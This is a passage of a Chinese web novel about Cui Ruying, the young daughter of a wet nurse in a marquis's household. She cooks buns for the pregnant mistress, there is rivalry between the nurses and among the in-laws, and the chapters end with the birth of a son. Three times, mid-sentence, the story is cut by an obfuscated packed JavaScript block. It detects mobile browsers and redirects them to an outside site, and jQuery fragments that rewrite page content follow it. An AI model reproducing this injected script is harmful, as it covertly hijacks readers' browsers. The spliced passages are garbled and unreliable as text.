许娘子不善言辞，便点了点头，崔如英仰头打了个招呼，“婶子好。” 陈娘子也看了看崔如英，“哎呦，你闺女模样可真俊呐。” 李嬷嬷道：“三娘子喜欢许娘子的女儿，叫过来陪着说说话，崔小娘子就跟许娘子住在一处。” 陈娘子笑了笑，“原来如此，姐姐好福气，有这么个灵透女儿。” 许娘子赶紧道：“哪里哪里。” 李嬷嬷把人送到了，事儿也算是办妥了，她道：“二位先收拾收拾，以后每日用饭会有人给送过来，隔三日就会有大夫来诊脉。其他的事儿像是出府……都可以来寻我，我若是不在可以找三娘子身边的大丫鬟锦月。” 陆三娘子还在养胎，就别去打搅了。 许娘子不停地点头，“李嬷嬷放心，该守的规矩我会守的。” 陈娘子也微微点头，“这些都记下了。” 李嬷嬷转身要走，崔如英赶紧给许娘子使眼色，许娘子差点忘了，赶紧从小厮搬过来的行李箱笼里拿出一个篮子，交到李嬷嬷手里，说道：“我们家做了点卖早饭的营生，这是早起刚包的包子，还热着呢，嬷嬷可以拿回去尝尝。” 怕李嬷嬷不要，许娘子又道：“不是多金贵的东西。” 李嬷嬷哪里看不到崔如英在下面给许娘子使眼色，这崔家的小娘子的确不一样，在这些事上比做大人的还要周全，人小鬼大，难怪三娘子执意要让她过来。 说起来这事差点没成，那日之后三爷回来了，得知还把奶娘的女儿请了过来就不太同意，孩子没个轻重，年纪小怕冲撞了陆三娘子的肚子。 陆三娘子却不认同，她觉得崔如英合她眼缘，况且也不是乱跑乱动的性子，那日跟她说了两刻钟多的话，半点不耐都没有。 才七岁，想想这个年纪的孩子，谁能坐得住，怕是没一会儿就想出去玩儿了。 李嬷嬷笑了笑，接过来，“许娘子太客气了，若有事随时找我就是。” 李嬷嬷走了，许娘子有些不好意思的冲陈娘子笑着笑，一篮子包子都给了李嬷嬷，自然不剩什么给陈娘子。 不过她俩都是做奶娘的，做好本分就是，也不必上赶着讨好。 陈娘子没说什么，微微点了个头，就绕过屏风收拾东西去了。 母女俩把被子衣裳都放好，早饭在家里吃过，这会儿也不饿。 没什么大事儿就专心等着午饭了，许娘子打算下午回家一趟，看看六丫再喂喂，来回二十里地，带着崔如英又怕她累，可不带又不放心。 崔如英不想回去，这才刚来，还不到一天呢，许娘子是要天天回的，那么远她可不成。还不如自己在这儿睡觉，床比家里的还软些，“娘，我留这儿吧，若是有要紧事，还有我呢。” 许娘子千叮咛万嘱咐，让她别乱跑。 崔如英点点头，“娘，你放心好了，再说了，我去哪儿跑呀。” 许娘子：“就在屋里等娘回来。” 崔如英再三保证，许娘子才放心。 临近正午，丫鬟来送饭，给许娘子和陈娘子送的饭都是补身子，毕竟要喂奶，里面有两样菜里还有药材。 给崔如英的就没那么多讲究，因为人小，给她的菜份量也小，两荤一素，外加一碗蒸蛋羹。 这伙食，的确比在崔家好上太多。 荤菜有一道是栗子炖鸡，还有一样是小炒肉，素菜是清炒豆腐丝，里面也有肉。送饭来的丫鬟晨起吃了包子，特意多嘱咐了两句，“许娘子，你的菜里加了药材，千万别给孩子吃。给小娘子的菜中有的放着辣椒，您还要喂奶，莫要碰这些。” 许娘子点了点头，这边丫鬟又去陈娘子那嘱咐了一遍。 崔如英咬了口鸡肉，侯府的厨子做菜自然不错，母女俩一块儿吃还有点意思，只不过头一回来，心里惦记着家中，许娘子胃口不太好。 一屋住俩人，崔如英声音压的底，“娘，你得多吃点儿。身子好了，到时才能喂小公子。” 许娘子点点头，把菜吃了大半，吃过饭后许娘子打算一会儿就回去，在这之前得跟李嬷嬷说一声。 至于那位陈娘子，崔如英也没盼着能和她有多深厚的感情，像许娘子这样老实本分最好，如果不是她也不怕。 陈娘子出门更早，把碗筷收了，没一会儿就出去了，再没回来。 躺了一刻钟多，许娘子就跟李嬷嬷打过招呼回崔家了。 崔如英睡了一会儿，醒来时正赶上李嬷嬷过来，说陆三娘子请她过去说话。 崔如英甜甜一笑，“嬷嬷，我刚起，等我收拾收拾就过去。” 本来陆三娘子没想今日叫崔如英过来说话，刚过来总得歇一歇，可是今儿早上她看见李嬷嬷给几个丫鬟分包子。 丫鬟吃完，眼睛都亮了。 怀了孕的人嘴馋，但好在侯府家世显赫，什么都能吃得上。可山珍海味吃多了，也想吃些清粥小菜。 陆云蓁平日也不缺吃的，偏偏今天看那包子觉得想吃。 想尝一个但李嬷嬷不放心，这外头做的，干不干净是一回事儿，这里面东西都不知道是啥，万一吃了对胎儿不好，谁也担待不起。 陆云蓁也明白这个道理，没有强求，不过等李嬷嬷吃完，她问包子的味道如何？李嬷嬷昧着良心说：“味道一般，也就那样。” 陆云蓁这下子是更想吃了，吃不到包子，看看卖包子家里的人也行，所以下午就叫着崔如英过来说话，李嬷嬷去了两次，第一次说崔如英在睡着，陆云蓁就让等等。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660123|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这孩子并非侯府下人，她也不是主子。 而且日后孩子出生，许娘子就是孩子的奶娘，生养之恩都是恩情，哪里能把许娘子的女儿当丫鬟使唤。 崔如英也不知道，只当是巧了，这洗了脸收拾干净才过去。 陆云蓁让丫鬟摆了小凳子，今日看着崔如英穿了新衣，衣袖上还绣着花，这样更顺眼多了，比补丁衣裳好看。 她问道：“刚过来，吃住可还习惯？” 崔如英道：“一切都好，三娘子放心就是。” 陆云蓁摸着肚子笑了笑，“若有不习惯的就和李嬷嬷说，当在自己家里。” 崔如英当然知道这是客气话，不过也笑着道：“嗯，在燕归堂处处妥当，比在自己家里还自在呢。” 谁都爱听好话，陆云蓁也不例外，她道：“各有各的好，听李嬷嬷说，你娘回去了？” 崔如英道：“我娘放心不下妹妹，就回去看看。” 妇人喂奶，也不是说有就有说无就无，陆云蓁的孩子还未出生，倘若许娘子不回去喂六丫，这奶也是白费了，而且也胀得慌。 陈娘子回去应该也是为了喂孩子。 陆云蓁现在乐意看母女和睦，她跟崔如英说了几句，才问：“听说你们家现在做卖早点的营生？” 这事儿没打算藏着，崔如英点点头，“现在单卖肉包子，生意还不错。” 她本想说三娘子喜欢带些给她吃，但是一想陆云蓁现在有孕在身，马上就临盆了，吃喝上不说谨慎万分，那也得小心注意着。 她千万别给崔家惹事儿。 崔如英道：“小本生意，虽然起早贪黑，不过比我爹做木匠活儿轻巧点。生意还成，家里人多，吃用也多，总得想点办法。” 陆云蓁却道：“生意不错，那说明包子做得好吃。” 崔如英往后坐了坐，小声道：“这人和人口味不一样，有人喜欢，有人不喜欢。就像中午送来的饭菜，我娘还想尝尝我的来着，但是炒肉辣辣的，我就没让。” 陆云蓁笑着道：“那等我生了孩子，你帮忙买几个可好？” 陆云蓁说话慢条斯理的，人又温柔，目前看很好说话，家里有点钱后崔如英想吃什么就得立马吃到，一个酱肉包，既然想吃何必等到生了孩子后。 崔如英想了个折中的法子，道：“三娘子想吃，哪里需要等到那时候，再说也不是多金贵的东西，三娘子很是照顾我和我娘，几个包子而已，还能跟你要钱。 我们穷人家的孩子当家早，这包子我也会做。不过我娘有孕时有些东西就碰不得，不然让李嬷嬷在旁边看着，我做给三娘子吃可好？” 这简直是正中陆云蓁下怀，可是崔如英是许娘子的女儿，这做菜都是下人做的事儿，按理说崔如英还是客人，哪儿有让客人做菜的道理。 陆云蓁赶忙摇摇头道：“这怎么使得。” 崔如英为了她能吃上才这么说，她哪儿能真的应下。 12. 第十二章 珍珠翡翠白玉碎金汤 崔如英笑着道：“三娘子，你这话就外道了，我也是觉得和你亲近，才想着做这些。” 她住在这里，吃饭活还有肉有菜呢，几个包子而已。 除此之外也不是没别的法子，拿钱买崔家的方子固然行，可陆三娘子不会开这个口。一月能赚五六两，崔如英也舍不得卖，更不放心卖。 两边都不开这个口，崔如英能做，自然是好。 陆云蓁道：“那就辛苦你了，李嬷嬷，你再端些点心茶水来，等崔小娘子吃完了再去。三……三丫，这还早，我也不急，今日请你来，是为了说话解闷儿。” 崔如英年纪小，有些话就算跟她说了也不懂。 陆云蓁一人嫁进来，楚庚元白日要上职，跟丫鬟们也说不上话，内宅高门也是水深火热，有个人说话，陆云蓁心里轻快些。 崔如英点点头，侯府的点心也不错。 本来桌上摆着点心的，但崔如英肚子不饿，就也没吃，这丫鬟又换了茶水，又端上了一盘枣泥酥，一盘儿豌豆黄。 陆云蓁道：“你快尝尝。” 给银子总归是不太妥当的，在这儿多吃些点心也好。 崔如英就拿了一块儿枣泥酥，入口香甜，点心得慢慢吃，不然吃着腻人，况且这是在别人家，她也不想一口吃好几块。 吃完枣泥酥，崔如英道：“三娘子，我去做包子吧。” 燕归堂小厨房有两个厨娘，一个擅长做炒菜，另一个是请来的面点师傅，发面是把好手，都不用崔如英操心。 活馅儿的时候，赵大娘把厨房能用的都找了出来，留锦月在厨房帮忙。 这是崔家的方子，留厨娘看着不合适，锦月是陆云蓁的陪嫁，这样谁都安心。 要是在崔家，包包子得寅时就起，买肉剁馅儿和面发面，但在安定侯府，崔如英做只管调个馅儿，包子有赵大娘。 崔如英在旁看着，赵大娘的确手巧，一个小包子，平平整整十八道褶儿。 包完，赵大娘问崔如英，“崔小娘子，这样差不多吧。” 崔如英道：“包子蒸也成，若是觉得不够好吃，可以试试做成水煎包。” 赵大娘擅做面食，包子点心都会，可从没听过水煎包，她道：“不然还是小娘子来吧。” 想来是崔家的手艺，家里的手艺向来是不外传的。 崔如英点点头，让厨娘找了一个稍微平点的铁锅，锅底刷上一层薄油，直接把带褶儿的那面贴锅底，褶儿多皮厚，哪怕煎的时间久一点，也不会糊了。 然后用面粉和水调个汁儿，倒进去慢慢煎着，到时做出来的包子外壳酥脆，加上崔如英调的馅料汤多，水煎包也会更好吃些。 这除了蒸包子，还有水煎生煎，甚至于还有烤包子，光卖包子这门营生，就足够崔家人过安稳日子了。 厨娘没看，但细细琢磨也能琢磨得差不多，不过她也只是琢磨一二，在侯府的日子好好的，也不会想着出去卖包子。 崔如英道：“包子小，可以再做点疙瘩汤，我娘在家就这样做着吃。” 赵大娘点了点头，“行，这样吃也行。” 不过陆云蓁吃，总得再做些别的，她擅长做面，其他的得王大娘来。 厨房就没崔如英的事了，她跟赵大娘说了声，就回了厢房。 回来没一会儿，有丫鬟过来把刚在陆云蓁那儿吃的这两盘点心给送了过来，“三娘子说，这点心崔小娘子先吃着，不够的话奴婢再去小厨房拿，崔小娘子千万别客气。” 崔如英点点头头，“替我谢过三娘子。” 丫鬟笑着道：“奴婢秋月，崔小娘子有事儿可以来寻我。” 崔如英想这应该也是吃过包子的，所以愿意行个方便。 点心崔如英没动，她又在床上躺了会儿，不多时许娘子就回来了，过午时走的，这会儿还未过申时。 来回不足两个时辰。 许娘子回家喂了六丫，又嘱咐崔大山把孩子们照顾好，就急急忙忙往侯府赶，生怕迟了。 看见桌上摆的点心，许娘子问：“三丫，哪儿来的点心丫？” 崔如英道：“娘，这就说来话长了，我就长话短说吧。三娘子想吃咱们家做的包子，但她现在怀有身孕，怕外面拿来的有孕妇不能吃的，所以我就帮了个小忙，给做弄了点包子馅儿，然后呢，三娘子就让丫鬟给拿了点心过来。” 许娘子：“这么点事儿还用拿点心，下次不许要了。” 崔如英：“娘，我们是来喂奶的，又不是做厨娘的，这样三娘子吃的也放心些。娘，你尝尝点心。” 点心不错，但是崔如英对这样的点心的没那么喜欢，不像肉，许久不吃会想。从前崔大山也往家里买过点心，这个比当初买的好吃多了。 许娘子尝了块儿枣泥酥，枣泥绵软，外皮酥脆，香甜得很。 许娘子看看崔如英，想说什么，话又堵在了嘴里，她想起家里还有好几个孩子呢。 崔如英道：“反正咱们也吃不完，娘你明儿回去，给二姐拿几块吧。” 许娘子哎了一声，“你想吃多留几块。” 崔如英一看许娘子欲言又止的，就是想说这些，她有的吃就行，多的给二丫也成。 许娘子没直接拿就行，毕竟这是陆三娘子给她的。 崔如英：“行，晚上饿了还能解馋。” 太阳已经快落山了，旁边的陈娘子还没回来。 说是两个时辰，因为陈娘子走得早，这会儿估计已经过了。 不过崔如英没放在心上，个人自扫门前雪，莫管他人瓦上霜。 天色微暗，陈娘子行色匆匆地从外头进来了，她看了眼崔如英母女，目光落在桌上的点心上。 陈娘子记着，这是侯府的盘子，跟中午吃饭的一样。 许娘子犹豫着，想问问陈娘子要不要尝尝，可到底是给女儿的，她也不好做主。 陈娘子又看了两眼，什么就没说就绕过屏风了，崔如英看了眼门口，屋子不小，住两个大人绰绰有余，只不过门是靠墙边开的。 这有人进来，尤其是陈娘子，什么都能看见。 崔如英小声道：“娘，不然让我爹也打一个这么大的屏风，咱们横着放这儿方便点儿。” 许娘子觉得这主意好，这陈娘子总往这边看，她还有些不自在。 天暗下来，丫鬟过来送晚饭。给许娘子送了鸡汤，小碗米饭外加三道菜，两荤一素。 给崔如英的是今天晚上做的包子，四只蒸包四只生煎，还有一碗金灿灿的疙瘩汤。 除此之外还有一杯牛奶，这些也足够一个孩子吃了。 包子崔如英不吃都知道是什么味道，她尝了口疙瘩汤，细碎的疙瘩好似珍珠，金色的是鸡蛋碎，侯府厨子手艺的确好，鸡蛋碎好像一片金箔，和疙瘩青菜融为一体。 喝一口，嫩滑绵软，像是在喝稀饭，但是比稀饭好喝多了。 许娘子做的是疙瘩汤，这个能叫珍珠翡翠白玉碎金汤。 崔如英喝着香浓，感觉还有一丝丝肉香，大约里面加了高汤。 蒸包崔如英没吃，但是尝了尝水煎包，那层壳煎的酥脆，一咬汁水四溢，这个馅儿做成水煎包也不错。 反正今儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660124|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许娘子也看见了，到时家里要卖，可以说是吃的时候就想到这么做，不算偷师，反正是她琢磨出来的。 水煎包和疙瘩汤，也算绝配。 相比之下，许娘子的饭菜就清淡多了，汤里带着股药味儿，她喝不太惯，可是要喂奶，还是给喝了。 正屋，陆云蓁晚上喝的疙瘩汤，吃了六个包子，包子不大，本来她还想多吃几个，可李嬷嬷在一旁劝道：“三娘子，如今这月份大了，肚子若再大，可就不好生了。” 楚庚元不在家中，做下人的自然得劝着些，这些日子朝中事忙，楚庚元回府都很晚了。 陆云蓁笑了笑，吃厨娘做的菜久了，也是许久没吃这么痛快。 她道：“今儿这汤做得也不错。” 还有些别的菜，不过陆云蓁没碰，一小碗疙瘩汤，几个包子就差不多了。 陆云蓁：“三爷回来之后，也给拿碗疙瘩汤，包子多拿几个，我觉得不错。” 陆云蓁话音刚落，门外楚庚元走了进来，一边走一边问：“什么不错？” 陆云蓁看着楚庚元露出一个笑，“说今天晚膳不错，三爷今天回来得怎么这么早，可用过饭了？没用过尝尝今儿的晚膳。” 楚庚元道：“你都这么说了，就算吃了也得再尝尝。” 陆云蓁对丫鬟道：“明月，传膳。” 疙瘩汤和热乎的包子很快端了上来，陆云蓁已经吃完了，这会儿跟楚庚元一块儿，光陪着他吃。她道：“这包子也算大有来头，你尝尝可合胃口？” 山珍海味都吃过，几个包子能有何奇妙之处，但楚庚元尝了水煎包之后神色微愣，“的确不错，当赏。” 陆云蓁怪道：“赏什么赏呀，这可不是厨娘做的。前些日子你不还说不该把许娘子的女儿一块接过来吗，这回又怎么说？你有所不知，这崔家做起了卖包子的营生，许娘子的女儿年纪虽小，但也难干，这包子馅儿就是她调的，水煎包也是出自她手。” 陆云蓁不禁笑了笑，“她是看我实在想吃，才帮忙做的，哪儿能赏，她是许娘子的女儿，并非府里下人。” 楚庚元有些诧异，“这么大一个孩子，竟然还会做菜。” 陆云蓁道：“你不知道，穷人家的孩子当家早，不过也并非所有人都如此，她性子好极了，你若见了，定会更诧异，咱们的孩子日后要是能有之一半我也就满意了。” 不说别人，娘家的外甥外甥女、大房的侄子、二房的侄女陆云蓁又不是没见过，男孩子混世魔王，女孩子娇惯得不像样。 去学堂念书还想方设法逃课呢。 喜欢崔如英，陆云蓁也不是平白无故就喜欢。 楚庚元笑了笑，新端上来的包子连着陆云蓁刚才没吃完剩的几个他全给吃了。他道：“难得入你眼，这样一来的确不能赏，不过可以送些东西，她一个孩子，肯帮忙是心地好。” 说完这句，楚庚元皱了皱眉，“不过……崔家家境如此，她在侯府定然比在崔家的日子好，可你若对她太好，对她来说反倒不是什么好事。” 再好也不是自己家，楚庚元怕生出旁的心思。 陆云蓁点了点头，这话没错，“嗯，我明白，不能害了她。你多吃些，小厨房还有呢。” 楚庚元道：“我吃饱了。两个奶娘可还本分？那小姑娘平日叫来说话就说说话，你喜欢最重要，不过你身子重，还是得离孩子远些。” “许娘子还不错……”陆云蓁皱了皱眉，“不过头一日看不出什么来，我还未临盆，等到时能照顾好孩子就是了。” 楚庚元明白，另一位奶娘怕是不如人意。 13. 第十三章 生子 许娘子是陆云蓁娘家表嫂给搭的线，而那位陈娘子，则是陆云蓁大嫂托人找的。 也看过，性子虽圆滑些，但爱干净，家里也查过，大体上算不错的。 自她有孕之后，婆母就总说，大嫂二嫂都是生养过的人，经验丰富，不懂的地方可以多问，也省着头一回有孕手忙脚乱。 婆母的确是好意，大嫂处处关心更无可指摘。只不过楚庚元的兄弟多，大哥既是庶子又是长子，后头婆母连着生了两个嫡子，便是楚庚元和府上二爷。 后头的弟弟小姑子也不少，侯府又家大业大，就导致这些兄弟妯娌面和心不和，说起来还不如小门小户的兄弟姊妹和睦。 这陈娘子今儿下午跟李嬷嬷说了一声就回家了，她家地段好些，来回半个多时辰，比崔家近，但偏偏回来的时辰晚，出府已经过两个时辰了。 这才头一日，李嬷嬷不太满意，就和陆云蓁说了此事，雇人自然都喜欢许娘子那样本分老实的。 可陆云蓁想着出门在外，又并非像她一样有石英钟能看着时辰，早一些晚一些，都无伤大雅。 况且母亲爱子之心人皆有之，说不准就因为孩子绊住了脚步。 尚未生产也不急，所以就没计较这事。再说了，一些小错不至于抓着不放，她还和兄弟妯娌住在一个府上，真要计较，又好像找她大嫂不痛快似的。 市井之家有市井之家的烦恼，深宅大院也有深宅大院的苦处，这些闲杂琐事惹得陆云蓁心烦，所以她才愿意跟崔如英说话，这样也开心些。 楚庚元道：“若是不尽心，还可再找。” 陆云蓁点点头，“夫君放心吧。” 夫妻俩坐着说了会儿话，楚庚元就扶着陆云蓁梳洗歇下。肚子越大，每日腰酸背疼，也心惊胆战，就怕哪一日发动了。 临盆之期近了，她吃得好，估计等不到产期。不过稳婆奶娘和大夫都已找好，也不担心。 次日一早，天有些阴沉，没一会儿就开始下小雨了。 崔如英在睡梦中好像听见雷声了，睁眼一看，一个人影摸着黑开门出去，然后许娘子也醒了。 天色还黑着，她睁眼看陈娘子披着衣服又从外面回来，见二人似乎醒了，说道：“三爷长得还一表人才了，家大业大，这人和人比不得……” 说完，咂咂嘴，又回去躺着了。 崔如英不禁想，侯府家大业大，那也是祖辈积累，有什么好比的。 她看了一眼许娘子，许娘子皱着眉，不知在想些什么。 “娘？” 许娘子小声道：“好像下雨了，可别出不了摊。” 城南城北十里多地，这城南下雨，城北没准儿也下。下了雨出不了摊也就罢了，就怕肉买了包子蒸了，结果临出门砸了雨点，那二百多个包子怎么吃的完？ 怎么能不发愁。 崔如英也跟着叹了口气，不仅种地是看老天爷脸色吃饭，连着做小本生意也是。 她道：“等雨停了咱们回去看看，若没下雨最好，若下了雨包子还蒸了，那就带回来吃。” 许娘子忧心忡忡地点了点头，这些日子都没下雨，希望崔大山别死脑筋。 母女俩说话声音不大，可陈娘子在旁边也能听到，她道：“哎呀，妹子，这做生意呀就是这样，得看老天爷脸色，哪儿有来大户人家做奶娘体面，风吹不着雨晒不着的。” 话还算是安慰人的话，可那语气听着让人牙痒痒。 索性这会儿也睡不着，崔如英道：“婶子说得对，对了，婶子昨儿也回家了，婶子家也在城南吗？” 陈娘子道：“我家住城东，我做奶娘也有些年头了，攒了些银子，就买了城东的宅子。大还宽敞，比城南那些小宅子的好一点，城南一间挨着一间，巷子窄得连马车都进不去，哎，倒不是说你们家小。” 崔如英道：“宅子本来就小，都不用婶子说。我们一家好几口挤着住，还是婶子家好。婶子，你家里孩子多大了？我娘就放心不下家里妹妹。” 陈娘子：“……丫头有啥不放心的，我这胎生的也是女儿，不过上一胎是大胖小子。” 崔如英点了点头，陈娘子家住在城东，家里孩子应该不少，因为做了好几年奶娘了。这胎是女儿，上胎是儿子，看她这样，估计前面也是女儿多。 不过现在也能回去喂喂她女儿，至少爱子之心有。 能一大早出去看安定侯府三爷，就知此人好热闹，眼热别人家，爱说嘴有些碎，其他的倒也还好。 她和许娘子别管有钱没钱，装得没钱些就行了。 至于陈娘子说的楚庚元，许娘子那时也没听到，就算听到也不会去看的。她担心家里的事儿，不愿多出去看热闹，不仅自己不去还拘着崔如英不让她出去。 跟陆三娘子说说话解闷儿也就罢了，但是三爷那边万万不许没规矩。 崔如英只七岁，还是个孩子，可是男女大防，三爷又是男主人，见了面都该避着，更何况出门去看。 早饭是丫鬟端来的，一如既往，许娘子的饭菜里有药膳，调养滋补身子之用，崔如英的是蒸点和粥。 吃过饭两人都没出去，雨断断续续下个不停，早春三月正是下雨的时候，许娘子这也才刚出月子，不便回家，但心里头一直担心。 一直到中午雨也没停，临近正午，秋月撑着伞过来，伞被收起放在门口，秋月进来道：“许娘子，你家夫君来了，说今儿早上城南雨下的大，就没出摊儿。他看雨一直没停，过来告诉你别担心，家里一切都好，今儿你就别回去了。” 许娘子松了口气，这样她也算放心了，“有劳秋月姑娘跑一趟。” 秋月说道：“人还在门口，我瞧着这雨也不小，还是让小厮去传个话，省得许娘子再跑一趟淋雨。” 许娘子点点头有劳了，“有劳了。” 崔大山那日没过来送母女俩，也不知道安定侯府在哪儿，搁以前让他打听张不开口，但是卖包子卖多了，胆子大了点儿。 再加上一个人过来的，只能自己来，一边问一边打听着找了过来。 崔如英没忘记点心，把早就挑好包起来的点心交给秋月，“姐姐，劳烦把这个交给我爹。昨儿的点心我一人吃不完，我二姐也喜欢吃甜的，让我爹带回去给她尝尝。” 好吃得包子陆云蓁还惦记楚庚元呢，崔如英惦记姐姐，还是好妹妹呢。 崔如英想对二丫好点，要是她不过来，还能帮着分担，但她过来侯府了，家里就得二丫多照看。 两个弟弟一个妹妹，虽然还有崔大山和崔大郎，轻巧不了。 秋月笑了笑把点心接过，“好。” 陈娘子在隔壁听着，那两盘子点心还真是府上的，也不知道这小丫头片子咋就得了三娘子的青眼，对她这么好。 下着雨，陈娘子也没出门，就在屋里躺着。 不过等吃过中午饭后雨小了点儿，她还是跟李嬷嬷告了声假，回家了。 许娘子今儿没回去，自然也没法告诉崔大山做屏风的事儿，不过陈娘子不在，母女俩还自在点。 下午崔如英没去正屋跟陆云蓁说话，陆云蓁要临盆了，这些日子就在燕归堂转转。 厢房在正屋后头，前头有啥事儿，除非像陈娘子那般出去看，否则根本不知道前面都发生了什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660125|156712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这也是做奶娘的好处，到时候只管照顾好孩子，其他的什么都不用管。 而燕归堂的丫鬟，却要什么都顾忌。 如今陆云蓁身子重，不用去给安定侯夫人请安，但府上人多，总有人过来探望。甭管私下什么样，面上都得过得去。 下午大房赵大娘子带着东西过来了。 大房孩子不少，楚庚元的大哥已过而立，两人孩子算上妾室生的，有四个，最大的今年十四岁了。 虽然大爷楚庚序是楚家的庶子，可身为长子，他的儿子自然也是楚家的长孙。 而二房夫妻成婚数年，膝下只有一个女儿。 今儿大房的赵婉芝过来，聊了会儿闲话，盯着她肚子瞧，问道：“可请大夫看了？这胎是男还是女？听弟妹又请了个奶娘，也不是嫂子说你，请奶娘也就罢了，咋能还把人孩子也带过来，还是个女孩。亲近多了，肚子里的就算是男的也得变成女儿了。” 陆云蓁：“女儿也好儿子也罢，都是心头肉，都得好好教养。这生了儿子不懂事儿，反而更操心。” 大房的孩子不懂事，赵婉芝还有闲心操心她生男生女。 陆云蓁性子虽柔和，可不是个吃亏不吭声的。 赵婉芝也听出她话里的意思了，扇着扇子道：“弟妹还是稳稳当当养胎，二房就一个女儿，婆母很是看重弟妹这胎呢。” 陆云蓁皱着眉，在这样的婆家，儿子就是立身之本。 见她皱眉，赵婉芝自知失言，又主动说起别的闲话，陆云蓁越想，心中越郁郁。 到最后借着身子不适端茶送客了。 若非陆云蓁借口累了，赵婉芝还不打算走。 如今离临盆之期还有二十多天，她总觉得肚子坠得慌，尤其是跟赵婉芝说过话后，肚子还有些痛。 陆云蓁扶着腰，“锦月，你扶我去床上躺会儿。” 锦月扶着陆云蓁去了床上，“三娘子，可难受得厉害，明月，你快去请大夫去。” 李嬷嬷端来热水，喂陆云蓁喝了几口，跟崔如英说话高高兴兴的，可是跟赵婉芝说话，得打起十二个精神应对。 这会儿肚子难受，明月赶紧去请大夫，带着大夫回来，发现燕归堂进进出出好多人，抓了个丫鬟一问才得知，这么一会儿的功夫，陆云蓁羊水就破了。 外面动静大，许娘子差不多能听出发生什么事，就让崔如英在屋里待着，自己出去看看。 她生的孩子多，若三娘子生产缺人手，自己也能帮上忙。 崔如英点点头，“娘你去吧，我不乱跑。” 许娘子一直没回来，崔如英在屋里都能听见隐忍的痛哼声，听得人心里揪揪的。 今儿还阴天，崔如英望着窗外，三娘子人很好，希望快点生下孩子，别疼那么久。 燕归堂都乱糟糟的，安定侯夫人也过来了，问里面现在什么样。 不等丫鬟说，赵婉芝就道：“这好好的，怎么还早产了。” 安定侯夫人皱眉看了赵婉芝一眼，李嬷嬷心里堵着气，却也没敢说什么，“夫人放心，大夫稳婆都在，里面安然无事。” 赵婉芝也道：“母亲，弟妹头一胎，没经验都不好生些，母亲别急。” 钱夫人道：“云蓁肯定顺顺利利的。” 陆云蓁从进产房到生下，两个多时辰。 陈娘子没赶回来了，就许娘子在门口守着。 下午一片乌云，到傍晚时阴霾已经散开，太阳在西边，铺了漫天云霞。 屋里响起一声响亮的啼哭，安定侯夫人身边围着不少人，听锦月出来禀告，“夫人，三娘子生下了位小公子。” 14. 第十四章 回家 锦月道：“夫人，母子平安，这会儿小公子还在里面收拾清洗。三娘子也没事儿，夫人放心就是，夫人在这等了许久，还是先移步到正厅歇歇吧。” 众人都守在产房外，陆云蓁在里面待多久，外面人就守了多久。钱夫人不放心，丫鬟搬来椅子她都没坐，赵婉芝等人就在一旁陪着。 钱夫人闻言心里的石头终于落地，“佛祖保佑，佛祖保佑，三爷那边已经差人传了话，马上就回来，你进去告诉云蓁，放心就是。对了，奶娘可都安排妥当了？” 许娘子在，陈娘子下午回家还没回来，不过锦月还是答道：“两个奶娘都在燕归堂，一个是大娘子托人找的，另一个是三娘子娘家表嫂找的，一会儿看小公子饿不饿，可以先喂着。” 钱夫人大喜：“府里出了喜事，全府上下每人赏一两银子。燕归堂的丫鬟伺候有功，每人赏二两。” 锦月喜道：“奴婢替燕归堂上上下下谢过夫人。” 钱夫人要等孩子出来，这时楚庚元也从外面赶回来了。他回来得着急，连行礼都忘了，急着问：“母亲，云蓁怎么样了？” 钱夫人笑着道：“生了位小公子，生得也快，没受什么罪，你一会儿进去看看。” 楚庚元眉目舒展开，“那就好，母亲等了半天了吧，先去歇歇。” 钱夫人嗔怪道：“着什么急，还没看见云蓁和孙儿呢。” 一旁赵婉芝脸上也挂着笑，可若仔细看，那笑意并不达眼底。当初她生产时府里可没这么高兴过，不过这会儿连燕归堂的丫鬟们都忙着欢喜，没人注意到她。 二房孙惠茹诚心实意地高兴，公爹偏爱长子，婆婆也得顾及公公的心思，如今三房有了孩子，好好教养，哪里还有大房的事儿。 孙惠茹笑着道：“母亲，您也站了许久了，这里面收拾还得一会儿，不然坐椅子上歇会儿，三弟弟妹也安心。” 钱夫人这才坐下。 孩子身体康健，收拾好之后许娘子给抱出来给钱夫人看了看。 红通通的，小手小脚，这会儿睡着，钱夫人直接把颈上挂着的翡翠佛尊摘了下来，塞到小公子的襁褓里，“像云蓁，也像你。行了行了，风吹着冷，快给抱屋里去。” 许娘子点了点头，小公子的屋子就在陆云蓁屋子的隔壁，方便照看。 许娘子生养过六个孩子，经验也丰富，看孩子是哭是笑，就知道该不该喂奶，该不该换尿布。 这时陈娘子终于回来了，连说几声对不住，“家里有点事儿耽搁了……哎呦，这小公子长得真俊，也像三爷。” 陈娘子并非在陆云蓁生产时出门，也怪不到她头上。 锦月道：“无碍，赶紧照顾小公子吧。” 